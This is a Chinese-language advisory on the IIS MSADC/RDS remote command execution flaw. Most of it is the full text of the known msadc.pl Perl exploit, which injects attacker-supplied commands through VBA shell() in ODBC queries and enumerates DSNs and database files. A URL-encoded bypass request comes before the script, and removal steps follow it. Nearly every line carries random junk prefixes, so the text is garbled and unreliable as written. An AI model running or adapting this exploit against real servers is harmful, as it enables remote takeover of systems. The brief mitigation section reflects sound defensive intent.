IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
z{tyB 4Ly!:GH3T 涉及程序:
a{H~>d<? Microsoft NT server
ggbew6L$Z {@C+Js5 描述:
R%5\1!Fl=G 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
';$2j~ vB#3jI 详细:
? ZN8Ku 如果你没有时间读详细内容的话,就删除:
J6f;dF^ c:\Program Files\Common Files\System\Msadc\msadcs.dll
}l_) d 有关的安全问题就没有了。
i[FBll- \y<n{"a 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
?)JW}3<. 2^Y1S?g. 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
'rz*mR8 关于利用ODBC远程漏洞的描述,请参看:
#X|'RL($ H!s &]b http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1Z*-@%RX OcIJT1 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
B:SzCC.B http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1_yUv7uhX Ip<STz]- 这里不再论述。
h05
~ g [kn`~hI 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
oOSw>23x sLB{R#Pt /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
;pC-0m0Y 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
]Nm_<%lT w3B*%x) 0HF",:yl #将下面这段保存为txt文件,然后: "perl -x 文件名"
LQR9S/?Ld FIW*Nr #!perl
dGHRHXi #
Ag}>gbz~G # MSADC/RDS 'usage' (aka exploit) script
~ZL}j+L/ #
A;{8\e # by rain.forest.puppy
#&Biu}4D #
B Q".$(c
q # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
s8 3_Bd # beta test and find errors!
)eUb@Eu UWmWouA use Socket; use Getopt::Std;
{?#g*QF|^ getopts("e:vd:h:XR", \%args);
.F> cZ, fr:RiOPn print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Yuh t<:` 5 {'%trDEy if (!defined $args{h} && !defined $args{R}) {
y37n~~% print qq~
]D(%Ku,O% Usage: msadc.pl -h <host> { -d <delay> -X -v }
HnU}Lhjzj -h <host> = host you want to scan (ip or domain)
|-2,k#| -d <seconds> = delay between calls, default 1 second
l|\Q~ D!o -X = dump Index Server path table, if available
_DH,$evS% -v = verbose
.D>%- -e = external dictionary file for step 5
\@tt$ m% f{ENSUtCrR Or a -R will resume a command session
ESb %*:-4K ~; exit;}
pdmeB
L?0dZY-" $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
&]uhPx/ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
,mjwQ6:Ny if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
"r.pU(uxt if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
%6*xnB? $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
1<ZvHv if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
}vp\lKP <7u*OYjA if (!defined $args{R}){ $ret = &has_msadc;
_
@ \ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
!^B`7 .4.zy]I print "Please type the NT commandline you want to run (cmd /c assumed):\n"
6
{5*9!v63 . "cmd /c ";
Z]"ktb;+[ $in=<STDIN>; chomp $in;
`2Ff2D^ ? $command="cmd /c " . $in ;
=yvyd0|35 2hu;N if (defined $args{R}) {&load; exit;}
:DQHb"( (x#4BI}L9) print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
mp!6MO Q &try_btcustmr;
n T\W| @P[Tu; 4 print "\nStep 2: Trying to make our own DSN...";
~@TNVkw &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
(<2PhJ| >qCUs3}C{* print "\nStep 3: Trying known DSNs...";
(CO8t~J= &known_dsn;
>/}v8k 1v b pExYyt print "\nStep 4: Trying known .mdbs...";
wrw~J &known_mdb;
s+o/:rrxY zj"J~s;? if (defined $args{e}){
[C/h{WPC- print "\nStep 5: Trying dictionary of DSN names...";
!</5 )B`5: &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
"4}{Z)&R2 d];E99} print "Sorry Charley...maybe next time?\n";
Hi<{c exit;
rEs,o3h?po 0|P RCq ##############################################################################
,Q >u
N 4k<4=E sub sendraw { # ripped and modded from whisker
xHe<TwkI sleep($delay); # it's a DoS on the server! At least on mine...
uRwIxT2 my ($pstr)=@_;
{i`BDOaL socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
g:O~1jq die("Socket problems\n");
ImyB4welo if(connect(S,pack "SnA4x8",2,80,$target)){
j<wWPv select(S); $|=1;
KS3
/ print $pstr; my @in=<S>;
YD7i6A select(STDOUT); close(S);
q"`1cFD return @in;
Y7]N.G3,] } else { die("Can't connect...\n"); }}
|jF)~k6 2o?!m2W ##############################################################################
:v8j3= %/-Z1Nv*# sub make_header { # make the HTTP request
Tld%NE my $msadc=<<EOT
}4 5| POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
lLyMm8E%pZ User-Agent: ACTIVEDATA
r4A%`sk@ Host: $ip
8%>
Ls Content-Length: $clen
O=u.PRNT8 Connection: Keep-Alive
69TQHJ[ \oLRNr[F ADCClientVersion:01.06
b78'yM& Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
L:%;
Fx2 #&5m=q$EI --!ADM!ROX!YOUR!WORLD!
_~| j~QE] Content-Type: application/x-varg
q2Ax-# Content-Length: $reqlen
a~DR$^m j+w*Absh EOT
uXNJ{]o ; $msadc=~s/\n/\r\n/g;
0;} 9XZ return $msadc;}
tWdj"n% Vv0dBFe ##############################################################################
_(TavL>l
= 2<
w/GX. sub make_req { # make the RDS request
T/dchWG my ($switch, $p1, $p2)=@_;
TY5<hPU= my $req=""; my $t1, $t2, $query, $dsn;
2?nK71c" U}_l]gNn if ($switch==1){ # this is the btcustmr.mdb query
+#A>[,U $query="Select * from Customers where City=" . make_shell();
j'#W)dp( $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
CKmoC0. $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
MjQKcL4%7 Vq -!1.v3 elsif ($switch==2){ # this is general make table query
rwv_
RN $query="create table AZZ (B int, C varchar(10))";
2.Th29] $dsn="$p1";}
tB8XnO_c a>(LFpVk} elsif ($switch==3){ # this is general exploit table query
}<9*eAn` $query="select * from AZZ where C=" . make_shell();
t8E'd:pE $dsn="$p1";}
6 80i?=z `6?r.;wj elsif ($switch==4){ # attempt to hork file info from index server
>-c ; $query="select path from scope()";
v|<Dc8i+ $dsn="Provider=MSIDXS;";}
71mdU6Kq /}]X3ng elsif ($switch==5){ # bad query
QjVP]C}p $query="select";
YFy5>*W $dsn="$p1";}
S%R:GZEf_ xT#j-T $t1= make_unicode($query);
%j^[%&pT $t2= make_unicode($dsn);
@G~T&6E! $req = "\x02\x00\x03\x00";
My&h{Qk $req.= "\x08\x00" . pack ("S1", length($t1));
d_-{-@ $req.= "\x00\x00" . $t1 ;
.^X IZ $req.= "\x08\x00" . pack ("S1", length($t2));
{UT^pIP\ $req.= "\x00\x00" . $t2 ;
:%{MMhbx $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
#K yb9Qg return $req;}
Vdjf
F&q ac p-4g+j ##############################################################################
%1 9TJn%J$ O|O#T.Tg sub make_shell { # this makes the shell() statement
"9Sxj return "'|shell(\"$command\")|'";}
bP`yLz .fk!~8b[Q+ ##############################################################################
Ha)eeE$ bu1O<* sub make_unicode { # quick little function to convert to unicode
MR:Co4( my ($in)=@_; my $out;
{()8 Wr for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
lGwX.cA!' return $out;}
LBk1Qw}- 6-{QU] # ##############################################################################
5#!pwjt~7 ,/BBG\mJ sub rdo_success { # checks for RDO return success (this is kludge)
vClD)Ar my (@in) = @_; my $base=content_start(@in);
CD:@OI if($in[$base]=~/multipart\/mixed/){
n"Ot'1yr return 1 if( $in[$base+10]=~/^\x09\x00/ );}
'3 xvQFg return 0;}
=1!wep" ~T|?!zML ##############################################################################
JM0'V0z WJ9Jj69 sub make_dsn { # this makes a DSN for us
{*bXO8vi(( my @drives=("c","d","e","f");
l}&egq
DC print "\nMaking DSN: ";
n9B1NM5 \ foreach $drive (@drives) {
jFZJ #'CNS print "$drive: ";
3l0x~ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
-5l74f!i "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
v<,?%(g)7 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
CP)x; $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
4Cr|]o' return 0 if $2 eq "404"; # not found/doesn't exist
{a- p/\U if($2 eq "200") {
S^HuQe!# foreach $line (@results) {
I
$!Y return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
4E}]> } return 0;}
w^sM,c5d @@9#odO ##############################################################################
)f>s\T zjs@7LN sub verify_exists {
MR=>DcR my ($page)=@_;
zHw[`"[ my @results=sendraw("GET $page HTTP/1.0\n\n");
#(FG+Bk return $results[0];}
+e. bO5Y _fz-fG 1 ##############################################################################
M$d DExd~ KGS=(z sub try_btcustmr {
/m%i"kki my @drives=("c","d","e","f");
kep.+t[ my @dirs=("winnt","winnt35","winnt351","win","windows");
~v$gk m/r4f279 foreach $dir (@dirs) {
Dtl381F J print "$dir -> "; # fun status so you can see progress
}A'QXtI/G foreach $drive (@drives) {
Sp: `Z1kH print "$drive: "; # ditto
,kfUlv= $reqlen=length( make_req(1,$drive,$dir) ) - 28;
|tC!`.^\ $reqlenlen=length( "$reqlen" );
f7mP4[+dS $clen= 206 + $reqlenlen + $reqlen;
"15mOW(!+ &uI`Xq. my @results=sendraw(make_header() . make_req(1,$drive,$dir));
_V^^%$ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
js/N qf2> else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
T.HS. x>m_ v ##############################################################################
#8z2>&:| r5tC sub odbc_error {
sc\4.Ux%Q my (@in)=@_; my $base;
8q{
%n my $base = content_start(@in);
tbrjTeC if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
s"#>Xc $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
N>giFj[dD $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y)X1!3~( $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
lPFT)>(+@ return $in[$base+4].$in[$base+5].$in[$base+6];}
B v/]>Z print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
S-Mn print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
>y#<WB$i $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
# kl?ww U {]]qd!, ##############################################################################
fmILkXKz v@TP_Ka sub verbose {
Wg9q_Ql my ($in)=@_;
w0(A7L:L return if !$verbose;
(Vnv"= ( print STDOUT "\n$in\n";}
/MKcS%/H/ E+k#1c|v$ ##############################################################################
~ \z7$9Q TC;2K,.#k sub save {
i7v> 9p7 my ($p1, $p2, $p3, $p4)=@_;
?(UeWLC# open(OUT, ">rds.save") || print "Problem saving parameters...\n";
(9$z+Zmm? print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
|{udd~oE& close OUT;}
}w^Hm3Y^& 8%q:lI ##############################################################################
T+7-6y+ d PRcW}"m]Qg sub load {
E-\Wo3 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
o<Hk/e~ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Ucr$5^ME @p=<IN>; close(IN);
HfEU[p7) $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
#lXwBfBMf $target= inet_aton($ip) || die("inet_aton problems");
C)66^l!x print "Resuming to $ip ...";
P Llad\ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
|Am
+f. if($p[1]==1) {
3.>M=K~09 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
?o307r $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
_{0'3tI7 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
5jAiqJq~y: if (rdo_success(@results)){print "Success!\n";}
[S;ceORx else { print "failed\n"; verbose(odbc_error(@results));}}
w ;+x g elsif ($p[1]==3){
1'ts>6b if(run_query("$p[3]")){
+Q pgG4h print "Success!\n";} else { print "failed\n"; }}
t[/WGF&(R elsif ($p[1]==4){
=?hGa;/rb if(run_query($drvst . "$p[3]")){
},<(VhP print "Success!\n"; } else { print "failed\n"; }}
%X)w$}WH exit;}
Q'D%?Vg' 6jz6
##############################################################################
xe9E</M_ SbS*z: sub create_table {
C],"va my ($in)=@_;
&p|+K
XIf $reqlen=length( make_req(2,$in,"") ) - 28;
~-J!WC==U $reqlenlen=length( "$reqlen" );
,_wpYTl*X $clen= 206 + $reqlenlen + $reqlen;
)c6t`SBwi my @results=sendraw(make_header() . make_req(2,$in,""));
!4Oj^yy% return 1 if rdo_success(@results);
i#pBzJ my $temp= odbc_error(@results); verbose($temp);
iNO}</7? return 1 if $temp=~/Table 'AZZ' already exists/;
>IT19(J;A return 0;}
UR{OrNg* jV
'u*2&9 ##############################################################################
V7S[rI<<r jx=5E6(h sub known_dsn {
gRsV-qS # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
t>KvR!+`g my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
)(/Bw&$ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Ia@!Nr2 "banner", "banners", "ads", "ADCDemo", "ADCTest");
UM(`Oh8 JLz.lk*. foreach $dSn (@dsns) {
._X|Ye9/ print ".";
:q>uj5% next if (!is_access("DSN=$dSn"));
p~A6:"8s`= if(create_table("DSN=$dSn")){
h 2QJQ|7a print "$dSn successful\n";
evQk,;pIm if(run_query("DSN=$dSn")){
nSSj&q- O print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
oR@emYL print "Something's borked. Use verbose next time\n";}}} print "\n";}
l_lK,=cLj+ px=k&|l ##############################################################################
"AuU5G 9'I Dug{)h_2 sub is_access {
AqZ()p*z my ($in)=@_;
4 (>8tP\Y $reqlen=length( make_req(5,$in,"") ) - 28;
hy}n&h $reqlenlen=length( "$reqlen" );
n/ CP2A $clen= 206 + $reqlenlen + $reqlen;
SHA6;y+U/~ my @results=sendraw(make_header() . make_req(5,$in,""));
6uu49x_^L4 my $temp= odbc_error(@results);
^1\[hyZ! verbose($temp); return 1 if ($temp=~/Microsoft Access/);
hpBn_ return 0;}
A+QOox]< Io*mFa? ##############################################################################
b/]@G05>> 1nZ7xCDK98 sub run_query {
4qKMnYR my ($in)=@_;
ETQL,t9m $reqlen=length( make_req(3,$in,"") ) - 28;
Xw'Y
&!z $reqlenlen=length( "$reqlen" );
m=#< $clen= 206 + $reqlenlen + $reqlen;
JY0}#FtgV my @results=sendraw(make_header() . make_req(3,$in,""));
dfR?O#JPU return 1 if rdo_success(@results);
?y|8bw< my $temp= odbc_error(@results); verbose($temp);
CkeqK return 0;}
|h 3`z :c3'U_H^ ##############################################################################
p5V.O20 [+3~wpU(p sub known_mdb {
krSOS WJ my @drives=("c","d","e","f","g");
dXMO{*MF{H my @dirs=("winnt","winnt35","winnt351","win","windows");
"8R\!i. my $dir, $drive, $mdb;
_08y; _S my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
b/g~;| < XTKAy;'5 # this is sparse, because I don't know of many
k%K\~U8" my @sysmdbs=( "\\catroot\\icatalog.mdb",
UNhM:!A "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
# n\|Q\W "\\system32\\certmdb.mdb",
)uK Tf=; "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
VD0U]~CWR b|-7EI>l9 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
_s~F/G`iT "\\cfusion\\cfapps\\forums\\forums_.mdb",
+*=?0 \ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
dz"HO!9 "\\cfusion\\cfapps\\security\\realm_.mdb",
{^N90,! "\\cfusion\\cfapps\\security\\data\\realm.mdb",
T,uVt^.R+ "\\cfusion\\database\\cfexamples.mdb",
IuOQX} "\\cfusion\\database\\cfsnippets.mdb",
FV>xAU$ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
pcO{%]?p "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
K-6+fgeB "\\cfusion\\brighttiger\\database\\cleam.mdb",
lj+}5ySG/ "\\cfusion\\database\\smpolicy.mdb",
E[8i$ "\\cfusion\\database\cypress.mdb",
m'"Ra- "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
FZ@8&T
"\\website\\cgi-win\\dbsample.mdb",
$[HpY)MSRw "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Q^|aix~ K "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
f'& ); #these are just
lFc4| _c g foreach $drive (@drives) {
jx-8%dxtZ foreach $dir (@dirs){
N,?D<NjXl foreach $mdb (@sysmdbs) {
dY$jg print ".";
- *_"ZgE if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
/e50&]2w print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Jo9!:2? if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
jKhj 7dR print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
3=Va0}#& } else { print "Something's borked. Use verbose next time\n"; }}}}}
7p+uHm 5imqZw foreach $drive (@drives) {
ghVxcK foreach $mdb (@mdbs) {
,}HnS)+ print ".";
A]%hM_5 s if(create_table($drv . $drive . $dir . $mdb)){
E?^A+)<" print "\n" . $drive . $dir . $mdb . " successful\n";
nk+*M9r|I if(run_query($drv . $drive . $dir . $mdb)){
xyaU!E* print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
SO}en[()O } else { print "Something's borked. Use verbose next time\n"; }}}}
xx
EcmS#> }
5:x .< #7dM % ##############################################################################
JrVBd hLr qkh.?~ sub hork_idx {
0ZpWfL print "\nAttempting to dump Index Server tables...\n";
^J7g)j3 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
VkDFR
[k_ $reqlen=length( make_req(4,"","") ) - 28;
cwKOE?! $reqlenlen=length( "$reqlen" );
-nKBSls $clen= 206 + $reqlenlen + $reqlen;
J6*B=PX=( my @results=sendraw2(make_header() . make_req(4,"",""));
!e(ZEV g if (rdo_success(@results)){
<B=!ZC=n my $max=@results; my $c; my %d;
t.tdY for($c=19; $c<$max; $c++){
"Qxn}$6- $results[$c]=~s/\x00//g;
:O{oVR $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
`Ef&h V $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
2z=GKV $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
zFk@Y $d{"$1$2"}="";}
:fE*fU@ foreach $c (keys %d){ print "$c\n"; }
`<kV)d%xEF } else {print "Index server doesn't seem to be installed.\n"; }}
MB]Y|Vee {r?qI ##############################################################################
`Ao;xOJ 8L}N,6gC4_ sub dsn_dict {
Zjh9jvsW open(IN, "<$args{e}") || die("Can't open external dictionary\n");
/DQcM.3
while(<IN>){
,wlSNb@' $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
>`'>,n| next if (!is_access("DSN=$dSn"));
)gq( if(create_table("DSN=$dSn")){
dk9nhS+faJ print "$dSn successful\n";
4uUR2J if(run_query("DSN=$dSn")){
)B'U_* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
#pz{, print "Something's borked. Use verbose next time\n";}}}
ofA6EmQ37 print "\n"; close(IN);}
3kBpH7h4 w_
po47S4 ##############################################################################
m%?b"kxL[ |Zo_x}0 sub sendraw2 { # ripped and modded from whisker
*>XY' -;2e sleep($delay); # it's a DoS on the server! At least on mine...
#O.-/&Z my ($pstr)=@_;
b1{XGK' socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
fMFlY%@t die("Socket problems\n");
pd{;`EW| if(connect(S,pack "SnA4x8",2,80,$target)){
%C8fv|@:f print "Connected. Getting data";
k^PqB+P! open(OUT,">raw.out"); my @in;
(B zf~#]~ select(S); $|=1; print $pstr;
YErn50L while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
W<uL{k.Kpd close(OUT); select(STDOUT); close(S); return @in;
A*:(%! } else { die("Can't connect...\n"); }}
iAlFgOk' V6ioQx=K# ##############################################################################
NR)[,b\v 2)^[SpZ sub content_start { # this will take in the server headers
7" wn024 my (@in)=@_; my $c;
WxS=Aip' for ($c=1;$c<500;$c++) {
7#R&
OQ if($in[$c] =~/^\x0d\x0a/){
dsxaxbVj% if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
d4P0f'.z else { return $c+1; }}}
5}4MXI4 return -1;} # it should never get here actually
_(\\>'1q! q[3b i!Q ##############################################################################
)>LC*_v r4c3t,L*$I sub funky {
Gr;~P* my (@in)=@_; my $error=odbc_error(@in);
{&c%VVZb:Z if($error=~/ADO could not find the specified provider/){
~;;_POm print "\nServer returned an ADO miscofiguration message\nAborting.\n";
O:a$ U:
exit;}
wzMWuA4vX if($error=~/A Handler is required/){
Ye}y_W print "\nServer has custom handler filters (they most likely are patched)\n";
n~d`PGs?f exit;}
*/L;6_ if($error=~/specified Handler has denied Access/){
NW9k.D% print "\nServer has custom handler filters (they most likely are patched)\n";
e-os0F exit;}}
IfZaK([ GZc%* ##############################################################################
`Vwj|[0k wz!]]EQ!o sub has_msadc {
+G_6Ek4 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
B!le=V,@, my $base=content_start(@results);
=P+S]<O return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
j$]t`6gG return 0;}
NCvwg % KY&E>^ ########################
Dg#A b8 #V8='qD
,9#G/nF 解决方案:
k-
sbZL 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
" I@Z:[=2 2、移除web 目录: /msadc